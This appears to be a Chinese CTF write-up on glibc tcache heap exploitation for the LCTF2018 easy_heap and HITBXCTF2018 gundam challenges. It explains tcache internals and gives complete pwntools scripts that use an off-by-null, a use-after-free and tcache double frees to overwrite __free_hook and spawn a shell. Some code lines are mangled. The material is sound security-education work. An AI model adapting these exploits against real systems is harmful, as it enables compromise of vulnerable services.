基础知识
Tcache机制是libc.2.26之后引入的一种机制,引入了两个新的结构体。
tcache_entry 和 tcache_perthread_struct
```
typedef struct tcache_entry
{
struct tcache_entry *next;
}tcache_entry;
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
```
其中有两个重要的函数:tcache_get() 和 tcache_put()
```
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry e = (tcache_entry ) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
static void * tcache_get (size_t tc_idx)
{
tcache_entry e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void ) e;
}
```
可以看到,除了对tc_idx进行了检查,其他都没检查,因此利用更加简单。
这两个函数会在_int_free以及_libc_malloc开头被调用。其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin 中的最大块数mp_.tcache_count是7。
记住一个准则,Tcache优先。
LCTF2018 PWN easy_heap
Analysis
checksec
保护基本全开。
main()
menu()
从菜单上看功能就malloc、free、puts三个。
malloc()
看到最多可以维护10个列表,然后有一个0xA0的chunk存放每个列表的chunk地址和size。
每个列表的大小固定是0xF8,读入的size可以自定义但小于0xF8,这里调用了sub_BEC()函数来读取,跟进看一下:
sub_BEC()
按照本来的逻辑,循环读入一个字节,应该从下标0读到下标a2-1,a2-1就是我们指定的size,但是判断到v3=a2-1时,条件满足,执行了++v3,此时v3=a2不满足条件退出while循环,执行上图框中的语句造成了null-by-one,除此之外,若读入遇到换行符或空字节也会退出循环。
free()
置零置空操作都有。
puts()
输出。
How to exploit
这里因为没有edit功能,有些地方有点麻烦,并且null-by-one也没得办法直接用。
可以想办法构造连个指针指向同一个chunk然后劫持__malloc_hook。
Start to exploit
leak libc:
leak libc我们常用的方法基本都涉及到了unsorted bin,这里也不例外,需要特意的去控制位置,要将tcache的一个块放在unsorted bin与top chunk之间避免合并。
```
for i in range(7):
new(0x10,'Tcache')
for i in range(3):
new(0x10,'unsorted bin')
for i in range(6):
delete(i)
delete(9)
for i in range(6,9):
delete(i)
```
经过上面的操作,此时chunk布局如下:
我们需要null-by-one溢出修改,但是并没有edit的功能,所以只能让B块进入tcache后再重新分配出来。然后还要释放A用来提供有效的可以进行 unlink 的 fd 和 bk 值
```
for in in range(7):
new(0x10,'Tcache')
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
for i in range(6):
delete(i)
delete(8)#B in to tcache
delete(7)#A free
```
此时堆块布局如下:
因为B是最后进入tcache的,所以第一块为B块,这时候申请B块即可进行null-by-one。
new(0xf8,'null-by-one')#0 B
在之后的步骤中,我们需要 A 处于 unsorted bin 释放状态,B 处于分配状态,C 处于分配状态,且最后可以在 tcache 块 7 个全满的情况下进行释放(触发合并),所以我们需要 7 个 tcache 都被 free 掉,但是这个时候,B是tcache块已经被我们申请出来了,所以要free掉防止合并的chunk,让其进入tcache。
delete(6)#file tcache
这里需要注意一下,因为上面把tcache全部申请了,所以最后一块防止合并的chunk下标就为6了也就是最后一个tcache。
接着free掉C块,进行合并。
delete(9)
这时候再把A分配出来,main_arena落在B块即可leak libc。
```
for i in range(7):
new(0x10,'tcache')
new(0x10,'A')
```
前面已经说过了,B块下标变成了0。
show(0)
libc.address = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x3ebca0
其实接下来就简单很多了,因为B处于free块但又有指针指向,double link已经形成,接下来在 tcache 空间足够时,利用 tcache 进行 double free ,进而通过 UAF 攻击 free hook 即可(tcache对size没有检查)
```
hijack hook
free_hook = libc.symbols['__free_hook']
one_gadget = libc.address + 0x4f322
new(0x10,'aaaa')#now all of chunks have been malloc
delete(1)
delete(2)
delete(0)
delete(9)
new(0x10,p64(free_hook))#0
new(0x10,'aaaa')#1
new(0x10,p64(one_gadget))
get shell
delete(0)
p.interactive()
```
需要注意的是,我们是利用的tcache不对size进行检查,所以要通过tcache获得,free 1、2块就是为了后面申请要用,注意我们申请的最后一个chunk就是从B、C合并下来的大块切割的(跟一遍流程或调试就知道了)。
所以此时实质上chunk0、chunk9都指向B块,因此free它们,tcache是LIFO,这样申请一个改fd为__free_hook但还有一个在tcache里面造成uaf。
```
! /usr/bin/python
from pwn import *
from LibcSearcher import *
p = remote('pwn4fun.com',9090)
elf = ELF('./easy_heap')
libc = ELF('./libc64.so')
context.log_level = 'debug'
def menu(idx):
p.recvuntil('>')
p.sendline(str(idx))
def new(size, content):
menu(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)
def delete(idx):
menu(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))
def show(idx):
menu(3)
p.recvuntil('> ')
p.sendline(str(idx))
leak libc
for i in range(7):
new(0x10,'Tcache')
for i in range(3):
new(0x10,'unsorted bin')
for i in range(6):
delete(i)
delete(9)
for i in range(6,9):
delete(i)
for i in range(7):
new(0x10,'Tcache')
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
for i in range(6):
delete(i)
delete(8)#B in to tcache
delete(7)#A free
new(0xf8,'null-by-one')#0 B
delete(6)#file tcache
delete(9)
for i in range(7):
new(0x10,'tcache')
new(0x10,'A')
show(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebca0
hijack hook
free_hook = libc.symbols['__free_hook']
one_gadget = libc.address + 0x4f322
new(0x10,'aaaa')#now all of chunks have been malloc
delete(2)
delete(3)
delete(0)
delete(9)
new(0x10,p64(free_hook))#0
new(0x10,'aaaa')#1
new(0x10,p64(one_gadget))
get shell
delete(0)
p.interactive()
```
Hitbxctf2018 gundam
这个例子我会写出来调试过程加深理解。
Analysis
checksec
menu()
main()
可以看到,有Build、Visit、Destory、Blow up功能,来看一下。
Build()
最多可以维护9个gundam,每个gundam都会有一个0x28(no head)的chunk作为结构体,有指针数组管理它们。
Visit()
打印
Destory()
让人开心的UAF
Blow_up()
看来是free了所有gumdam的结构体并将指针置0.
How to exploit
既然有UAF会好办很多,利用UAF可以leak出libc,然后再利用UAF或者说是Double Free来修改其fd域,因为可以把Tcache看作一个没有检查的Fastbin,我们不需要去伪造size,直接可以返回到__malloc_hook的fake chunk。
Start to exploit
来一步一步调试。
可以看到tcachebin中两个chunk其实是同一个,这里需要注意了,因为tcache检查较少所以我们可以直接double free,但如果是放到unsorted bin中就会报错了。
error
leak libc:
说说leak的原理,把tcache填满后再free就会进入unsorted bin,如下图:
然后重新申请,把tcache中的拿完就回去unsorted bin中了:
注意:填充fd的a不要填满8个,不然拿不到main_arena,会拿到_IO_write_data
```
leak libc
for i in range(9):
build('gogogogo',1)#0-8
for i in range(9):
destory(i)#0-8
blow_up()
for i in range(7):
build('Tcache',1)#0-6
build('aaaaaaa',1)#7
visit()
p.recvuntil('aaaaaaa')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96
libc_base = main_arena - 0x3ebc40
log.success('libc:'+hex(libc_base))
```
解释一下blow_up(),单纯的destory不会free结构体的chunk,不清空掉结构体的话无法继续申请。
tcache attack:
接下来就简单了,就是类似于fastbin attack一样,只不过是不检查size了。
经过刚才的操作,tcache bin中只剩下了个结构体chunk,这里我们要利用double free。
这里也很简单,直接double free任意一个让它进入tcache,然后build申请出来一个改掉fd,而另一个留在bin中fd指向malloc_hook,然后申请到malloc_hook修改为one_gadget,或者free_hook改为system(类似fastbin但更简单)。
```
! /usr/bin/python
from pwn import *
from LibcSearcher import *
p = process('./gundam')
p = remote('pwn4fun.com',9091)
elf = ELF('./gundam')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
context.log_level='debug'
def menu(idx):
p.recvuntil('Your choice : ')
p.sendline(str(idx))
def build(name,types):
menu(1)
p.recvuntil('The name of gundam :')
p.sendline(name)
p.recvuntil('The type of the gundam :')
p.sendline(str(types))
def visit():
menu(2)
def destory(idx):
menu(3)
p.recvuntil('Which gundam do you want to Destory:')
p.sendline(str(idx))
def blow_up():
menu(4)
leak libc
for i in range(9):
build('gogogogo',1)#0-8
for i in range(9):
destory(i)#0-8
blow_up()
for i in range(7):
build('Tcache',1)#0-6
build('aaaaaaa',1)#7
visit()
p.recvuntil('aaaaaaa')
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96
libc_base = main_arena - 0x3ebc40
log.success('libc:'+hex(libc_base))
gdb.attach(p)
tcache attack
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
destory(1)
destory(0)
destory(0)
blow_up()
build(p64(free_hook),1)#0
build('$0;',1)#0
build(p64(system),1)
get shell
destory(0)
p.interactive()
```
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论